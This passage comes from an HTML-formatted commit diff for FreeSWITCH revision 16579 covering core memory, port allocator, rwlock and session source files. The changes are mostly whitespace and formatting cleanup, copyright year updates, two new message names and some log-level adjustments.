</span><span class="cx">                 switch_thread_rwlock_wrlock(session-&gt;bug_rwlock);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 bp = session-&gt;bugs;
</span><span class="cx">                 while (bp) {
</span><span class="cx">                         cur = bp;
</span><span class="lines">@@ -515,7 +518,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_thread_rwlock_unlock(session-&gt;bug_rwlock);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session-&gt;bugs &amp;&amp; switch_core_codec_ready(&amp;session-&gt;bug_codec)) {
</span><span class="cx">                 switch_core_codec_destroy(&amp;session-&gt;bug_codec);
</span><span class="cx">                 memset(&amp;session-&gt;bug_codec, 0, sizeof(session-&gt;bug_codec));
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_memoryc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_memory.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_memory.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_memory.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -80,7 +80,8 @@
</span><span class="cx"> 
</span><span class="cx"> #ifdef DEBUG_ALLOC
</span><span class="cx">         if (memory &gt; 500)
</span><del>-                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, &quot;Session Allocate %d\n&quot;, (int) memory);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, &quot;Session Allocate %d\n&quot;,
+                                                  (int) memory);
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         ptr = apr_palloc(session-&gt;pool, memory);
</span><span class="lines">@@ -142,7 +143,6 @@
</span><span class="cx">         if (zstr(todup)) {
</span><span class="cx">                 return SWITCH_BLANK_STRING;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef LOCK_MORE
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="cx">         switch_mutex_lock(memory_manager.mem_lock);
</span><span class="lines">@@ -213,8 +213,8 @@
</span><span class="cx">         char *result;
</span><span class="cx">         va_start(ap, fmt);
</span><span class="cx">         result = switch_core_vsprintf(pool, fmt, ap);
</span><del>-        va_end(ap);        
-        
</del><ins>+        va_end(ap);
+
</ins><span class="cx">         return result;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -234,7 +234,6 @@
</span><span class="cx">         if (zstr(todup)) {
</span><span class="cx">                 return SWITCH_BLANK_STRING;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef LOCK_MORE
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="cx">         switch_mutex_lock(memory_manager.mem_lock);
</span><span class="lines">@@ -242,16 +241,17 @@
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifdef DEBUG_ALLOC
</span><span class="cx">         len = strlen(todup);
</span><span class="cx">         if (len &gt; 500)
</span><del>-                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, &quot;Sess Strdup Allocate %d\n&quot;, (int) len);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, switch_core_session_get_uuid(session), SWITCH_LOG_CONSOLE, &quot;Sess Strdup Allocate %d\n&quot;,
+                                                  (int) len);
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         duped = apr_pstrdup(session-&gt;pool, todup);
</span><span class="cx">         switch_assert(duped != NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx"> #ifdef LOCK_MORE
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="cx">         switch_mutex_unlock(memory_manager.mem_lock);
</span><span class="lines">@@ -274,7 +274,6 @@
</span><span class="cx">         if (zstr(todup)) {
</span><span class="cx">                 return SWITCH_BLANK_STRING;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef LOCK_MORE
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="cx">         switch_mutex_lock(memory_manager.mem_lock);
</span><span class="lines">@@ -362,7 +361,7 @@
</span><span class="cx">                 apr_allocator_owner_set(my_allocator, *pool);
</span><span class="cx"> 
</span><span class="cx">                 apr_pool_mutex_set(*pool, my_mutex);
</span><del>-                
</del><ins>+
</ins><span class="cx"> #else
</span><span class="cx">                 apr_pool_create(pool, NULL);
</span><span class="cx">                 switch_assert(*pool != NULL);
</span><span class="lines">@@ -390,7 +389,6 @@
</span><span class="cx">         if (switch_core_memory_pool_get_data(*pool, &quot;_in_thread&quot;)) {
</span><span class="cx">                 switch_cache_db_detach();
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef DEBUG_ALLOC2
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, func, line, NULL, SWITCH_LOG_CONSOLE, &quot;Free Pool\n&quot;);
</span><span class="cx"> #endif
</span><span class="lines">@@ -406,11 +404,11 @@
</span><span class="cx"> #else
</span><span class="cx">         if ((memory_manager.pool_thread_running != 1) || (switch_queue_push(memory_manager.pool_queue, *pool) != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                 apr_pool_destroy(*pool);
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_unlock(memory_manager.mem_lock);
</del><ins>+                switch_mutex_unlock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="lines">@@ -465,11 +463,11 @@
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                 apr_pool_destroy(pool);
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_unlock(memory_manager.mem_lock);
</del><ins>+                switch_mutex_unlock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="lines">@@ -496,20 +494,19 @@
</span><span class="cx">                                         done = 1;
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><del>-
</del><span class="cx"> #if defined(PER_POOL_LOCK) || defined(DESTROY_POOLS)
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                                switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                                 apr_pool_destroy(pop);
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_unlock(memory_manager.mem_lock);
</del><ins>+                                switch_mutex_unlock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx"> #else
</span><span class="cx">                                 apr_pool_clear(pop);
</span><span class="cx">                                 if (switch_queue_trypush(memory_manager.pool_recycle_queue, pop) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                                        switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                                         apr_pool_destroy(pop);
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><span class="lines">@@ -538,7 +535,7 @@
</span><span class="cx">                 void *pop = NULL;
</span><span class="cx">                 while (switch_queue_trypop(memory_manager.pool_queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</span><span class="cx"> #ifdef USE_MEM_LOCK
</span><del>-        switch_mutex_lock(memory_manager.mem_lock);
</del><ins>+                        switch_mutex_lock(memory_manager.mem_lock);
</ins><span class="cx"> #endif
</span><span class="cx">                         apr_pool_destroy(pop);
</span><span class="cx">                         pop = NULL;
</span><span class="lines">@@ -613,7 +610,7 @@
</span><span class="cx"> #ifdef INSTANTLY_DESTROY_POOLS
</span><span class="cx">         {
</span><span class="cx">                 void *foo;
</span><del>-                foo = (void*)(intptr_t)pool_thread;
</del><ins>+                foo = (void *) (intptr_t) pool_thread;
</ins><span class="cx">         }
</span><span class="cx"> #else
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_port_allocatorc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_port_allocator.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_port_allocator.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_port_allocator.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -118,23 +118,22 @@
</span><span class="cx">         int odd = switch_test_flag(alloc, SPF_ODD);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(alloc-&gt;mutex);
</span><del>-        srand((unsigned)((unsigned)(intptr_t)port_ptr + (unsigned)(intptr_t)switch_thread_self() + switch_micro_time_now()));
</del><ins>+        srand((unsigned) ((unsigned) (intptr_t) port_ptr + (unsigned) (intptr_t) switch_thread_self() + switch_micro_time_now()));
</ins><span class="cx"> 
</span><span class="cx">         while (alloc-&gt;track_used &lt; alloc-&gt;track_len) {
</span><span class="cx">                 uint32_t index;
</span><span class="cx">                 uint32_t tries = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* randomly pick a port */
</span><span class="cx">                 index = rand() % alloc-&gt;track_len;
</span><span class="cx"> 
</span><span class="cx">                 /* if it is used walk up the list to find a free one */
</span><del>-                while (alloc-&gt;track[index] &amp;&amp; tries &lt; alloc-&gt;track_len)
-                {
</del><ins>+                while (alloc-&gt;track[index] &amp;&amp; tries &lt; alloc-&gt;track_len) {
</ins><span class="cx">                         tries++;
</span><span class="cx">                         if (alloc-&gt;track[index] &lt; 0) {
</span><span class="cx">                                 alloc-&gt;track[index]++;
</span><span class="cx">                         }
</span><del>-                        if (++index &gt;= alloc-&gt;track_len) { 
</del><ins>+                        if (++index &gt;= alloc-&gt;track_len) {
</ins><span class="cx">                                 index = 0;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_rwlockc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_rwlock.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_rwlock.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_rwlock.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_sessionc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_session.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_session.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_session.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -80,7 +80,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_core_session_t *session = NULL;
</span><span class="cx">         switch_status_t status;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (uuid_str) {
</span><span class="cx">                 switch_mutex_lock(runtime.session_hash_mutex);
</span><span class="cx">                 if ((session = switch_core_hash_find(session_manager.session_table, uuid_str))) {
</span><span class="lines">@@ -116,7 +116,7 @@
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_session_get_partner(switch_core_session_t *session, switch_core_session_t **partner)
</span><span class="cx"> {
</span><span class="cx">         const char *uuid;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((uuid = switch_channel_get_variable(session-&gt;channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
</span><span class="cx">                 if ((*partner = switch_core_session_locate(uuid))) {
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -136,11 +136,12 @@
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_queue_t *queue;
</span><span class="cx">         void *pop;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&amp;pool);
</span><span class="cx">         switch_queue_create(&amp;queue, 250000, pool);
</span><span class="cx"> 
</span><del>-        if (!var_val) return;
</del><ins>+        if (!var_val)
+                return;
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(runtime.session_hash_mutex);
</span><span class="cx">         for (hi = switch_hash_first(NULL, session_manager.session_table); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -159,9 +160,9 @@
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><span class="cx"> 
</span><del>-        while(switch_queue_trypop(queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</del><ins>+        while (switch_queue_trypop(queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</ins><span class="cx">                 char *uuid = (char *) pop;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((session = switch_core_session_locate(uuid))) {
</span><span class="cx">                         switch_channel_hangup(session-&gt;channel, cause);
</span><span class="cx">                         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -170,7 +171,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx"> 
</span><del>-}        
</del><ins>+}
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_hupall_endpoint(const switch_endpoint_interface_t *endpoint_interface, switch_call_cause_t cause)
</span><span class="cx"> {
</span><span class="lines">@@ -180,7 +181,7 @@
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_queue_t *queue;
</span><span class="cx">         void *pop;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&amp;pool);
</span><span class="cx">         switch_queue_create(&amp;queue, 250000, pool);
</span><span class="cx"> 
</span><span class="lines">@@ -199,9 +200,9 @@
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><span class="cx"> 
</span><del>-        while(switch_queue_trypop(queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</del><ins>+        while (switch_queue_trypop(queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</ins><span class="cx">                 char *uuid = (char *) pop;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((session = switch_core_session_locate(uuid))) {
</span><span class="cx">                         switch_channel_hangup(session-&gt;channel, cause);
</span><span class="cx">                         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -210,7 +211,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx"> 
</span><del>-}        
</del><ins>+}
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_hupall(switch_call_cause_t cause)
</span><span class="cx"> {
</span><span class="lines">@@ -220,7 +221,7 @@
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         switch_queue_t *queue;
</span><span class="cx">         void *pop;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_new_memory_pool(&amp;pool);
</span><span class="cx">         switch_queue_create(&amp;queue, 250000, pool);
</span><span class="cx"> 
</span><span class="lines">@@ -236,10 +237,10 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(runtime.session_hash_mutex);
</span><del>-        
-        while(switch_queue_trypop(queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</del><ins>+
+        while (switch_queue_trypop(queue, &amp;pop) == SWITCH_STATUS_SUCCESS &amp;&amp; pop) {
</ins><span class="cx">                 char *uuid = (char *) pop;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((session = switch_core_session_locate(uuid))) {
</span><span class="cx">                         switch_channel_hangup(session-&gt;channel, cause);
</span><span class="cx">                         switch_core_session_rwunlock(session);
</span><span class="lines">@@ -247,10 +248,10 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_core_destroy_memory_pool(&amp;pool);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>- 
</del><ins>+
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_session_message_send(const char *uuid_str, switch_core_session_message_t *message)
</span><span class="cx"> {
</span><span class="cx">         switch_core_session_t *session = NULL;
</span><span class="lines">@@ -297,8 +298,8 @@
</span><span class="cx">         switch_assert(session != NULL);
</span><span class="cx">         return session-&gt;private_info;
</span><span class="cx"> }
</span><del>- 
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_core_session_set_private(switch_core_session_t *session, void *private_info)
</span><span class="cx"> {
</span><span class="cx">         switch_assert(session != NULL);
</span><span class="lines">@@ -340,9 +341,8 @@
</span><span class="cx">                                                                                                                                                  const char *endpoint_name,
</span><span class="cx">                                                                                                                                                  switch_caller_profile_t *caller_profile,
</span><span class="cx">                                                                                                                                                  switch_core_session_t **new_session,
</span><del>-                                                                                                                                                 switch_memory_pool_t **pool, 
-                                                                                                                                                 switch_originate_flag_t flags,
-                                                                                                                                                 switch_call_cause_t *cancel_cause)
</del><ins>+                                                                                                                                                 switch_memory_pool_t **pool,
+                                                                                                                                                 switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
</ins><span class="cx"> {
</span><span class="cx">         switch_io_event_hook_outgoing_channel_t *ptr;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -378,7 +378,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (caller_profile) {
</span><span class="cx">                         const char *ecaller_id_name = NULL, *ecaller_id_number = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!(flags &amp; SOF_NO_EFFECTIVE_CID_NAME)) {
</span><span class="cx">                                 ecaller_id_name = switch_channel_get_variable(channel, &quot;effective_caller_id_name&quot;);
</span><span class="cx">                         }
</span><span class="lines">@@ -404,7 +404,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((cause =
</span><del>-                 endpoint_interface-&gt;io_routines-&gt;outgoing_channel(session, var_event, outgoing_profile, new_session, pool, flags, cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
</del><ins>+                 endpoint_interface-&gt;io_routines-&gt;outgoing_channel(session, var_event, outgoing_profile, new_session, pool, flags,
+                                                                                                                   cancel_cause)) != SWITCH_CAUSE_SUCCESS) {
</ins><span class="cx">                 UNPROTECT_INTERFACE(endpoint_interface);
</span><span class="cx">                 return cause;
</span><span class="cx">         }
</span><span class="lines">@@ -418,8 +419,9 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!*new_session) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;Outgoing method for endpoint: [%s] returned: [%s] but there is no new session!\n&quot;,
-                                                  endpoint_name, switch_channel_cause2str(cause));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT,
+                                                  &quot;Outgoing method for endpoint: [%s] returned: [%s] but there is no new session!\n&quot;, endpoint_name,
+                                                  switch_channel_cause2str(cause));
</ins><span class="cx">                 UNPROTECT_INTERFACE(endpoint_interface);
</span><span class="cx">                 return SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
</span><span class="cx">         } else {
</span><span class="lines">@@ -431,17 +433,19 @@
</span><span class="cx">                 switch_assert(peer_channel);
</span><span class="cx"> 
</span><span class="cx">                 peer_profile = switch_channel_get_caller_profile(peer_channel);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((use_uuid = switch_event_get_header(var_event, &quot;origination_uuid&quot;))) {
</span><span class="cx">                         use_uuid = switch_core_session_strdup(*new_session, use_uuid);
</span><span class="cx">                         if (switch_core_session_set_uuid(*new_session, use_uuid) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_event_del_header(var_event, &quot;origination_uuid&quot;);
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_DEBUG, &quot;%s set UUID=%s\n&quot;, switch_channel_get_name(peer_channel), use_uuid);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_DEBUG, &quot;%s set UUID=%s\n&quot;, switch_channel_get_name(peer_channel),
+                                                                  use_uuid);
</ins><span class="cx">                         } else {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_CRIT, &quot;%s set UUID=%s FAILED\n&quot;, switch_channel_get_name(peer_channel), use_uuid);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(*new_session), SWITCH_LOG_CRIT, &quot;%s set UUID=%s FAILED\n&quot;,
+                                                                  switch_channel_get_name(peer_channel), use_uuid);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (channel) {
</span><span class="cx">                         const char *val;
</span><span class="cx">                         switch_codec_t *vid_read_codec = NULL, *read_codec = switch_core_session_get_read_codec(session);
</span><span class="lines">@@ -455,12 +459,12 @@
</span><span class="cx"> 
</span><span class="cx">                         if (read_codec &amp;&amp; read_codec-&gt;implementation &amp;&amp; switch_core_codec_ready(read_codec)) {
</span><span class="cx">                                 char rc[80] = &quot;&quot;, vrc[80] = &quot;&quot;, tmp[160] = &quot;&quot;;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_codec2str(read_codec, rc, sizeof(rc));
</span><span class="cx">                                 if (vid_read_codec &amp;&amp; vid_read_codec-&gt;implementation &amp;&amp; switch_core_codec_ready(vid_read_codec)) {
</span><span class="cx">                                         vrc[0] = ',';
</span><del>-                                        switch_codec2str(read_codec, vrc+1, sizeof(vrc) - 1);
-                                        switch_channel_set_variable(peer_channel, SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE, vrc+1);
</del><ins>+                                        switch_codec2str(read_codec, vrc + 1, sizeof(vrc) - 1);
+                                        switch_channel_set_variable(peer_channel, SWITCH_ORIGINATOR_VIDEO_CODEC_VARIABLE, vrc + 1);
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 switch_snprintf(tmp, sizeof(tmp), &quot;%s%s&quot;, rc, vrc);
</span><span class="lines">@@ -481,11 +485,10 @@
</span><span class="cx"> 
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
</span><span class="cx">                                 if (switch_channel_test_cap(peer_channel, CC_BYPASS_MEDIA)) {
</span><del>-                                        switch_channel_set_flag(peer_channel, CF_PROXY_MODE);                
</del><ins>+                                        switch_channel_set_flag(peer_channel, CF_PROXY_MODE);
</ins><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, 
-                                                                          &quot;%s does not support the proxy feature, disabling.\n&quot;, 
-                                                                          switch_channel_get_name(peer_channel));
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                                          &quot;%s does not support the proxy feature, disabling.\n&quot;, switch_channel_get_name(peer_channel));
</ins><span class="cx">                                         switch_channel_clear_flag(channel, CF_PROXY_MODE);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -497,9 +500,8 @@
</span><span class="cx">                                                 switch_channel_set_flag(peer_channel, CF_VIDEO);
</span><span class="cx">                                         }
</span><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, 
-                                                                          &quot;%s does not support the proxy feature, disabling.\n&quot;, 
-                                                                          switch_channel_get_name(peer_channel));
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                                          &quot;%s does not support the proxy feature, disabling.\n&quot;, switch_channel_get_name(peer_channel));
</ins><span class="cx">                                         switch_channel_clear_flag(channel, CF_PROXY_MEDIA);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -548,10 +550,12 @@
</span><span class="cx">         &quot;SIMPLIFY&quot;,
</span><span class="cx">         &quot;DEBUG_AUDIO&quot;,
</span><span class="cx">         &quot;PROXY_MEDIA&quot;,
</span><ins>+        &quot;APPLICATION_EXEC&quot;,
+        &quot;APPLICATION_EXEC_COMPLETE&quot;,
</ins><span class="cx">         &quot;INVALID&quot;
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(switch_core_session_t *session, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_perform_receive_message(switch_core_session_t *session,
</ins><span class="cx">                                                                                                                                                         switch_core_session_message_t *message,
</span><span class="cx">                                                                                                                                                         const char *file, const char *func, int line)
</span><span class="cx"> {
</span><span class="lines">@@ -584,19 +588,19 @@
</span><span class="cx">                 message-&gt;message_id = SWITCH_MESSAGE_INVALID;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_ID_LOG, message-&gt;_file, message-&gt;_func, message-&gt;_line, 
-                                          switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, &quot;%s receive message [%s]\n&quot;,
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_ID_LOG, message-&gt;_file, message-&gt;_func, message-&gt;_line,
+                                          switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG1, &quot;%s receive message [%s]\n&quot;,
</ins><span class="cx">                                           switch_channel_get_name(session-&gt;channel), message_names[message-&gt;message_id]);
</span><span class="cx"> 
</span><del>-        
-        if (message-&gt;message_id == SWITCH_MESSAGE_INDICATE_DISPLAY &amp;&amp; 
</del><ins>+
+        if (message-&gt;message_id == SWITCH_MESSAGE_INDICATE_DISPLAY &amp;&amp;
</ins><span class="cx">                 switch_true(switch_channel_get_variable(session-&gt;channel, SWITCH_IGNORE_DISPLAY_UPDATES_VARIABLE))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_ID_LOG, message-&gt;_file, message-&gt;_func, message-&gt;_line,
</span><del>-                                                  switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG, &quot;Ignoring display update.\n&quot;);
</del><ins>+                                                  switch_core_session_get_uuid(session), SWITCH_LOG_DEBUG1, &quot;Ignoring display update.\n&quot;);
</ins><span class="cx">                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session-&gt;endpoint_interface-&gt;io_routines-&gt;receive_message) {
</span><span class="cx">                 status = session-&gt;endpoint_interface-&gt;io_routines-&gt;receive_message(session, message);
</span><span class="cx">         }
</span><span class="lines">@@ -612,32 +616,32 @@
</span><span class="cx">         message-&gt;_file = NULL;
</span><span class="cx">         message-&gt;_func = NULL;
</span><span class="cx">         message-&gt;_line = 0;
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch (message-&gt;message_id) {
</span><del>-    case SWITCH_MESSAGE_REDIRECT_AUDIO:
-    case SWITCH_MESSAGE_INDICATE_ANSWER:
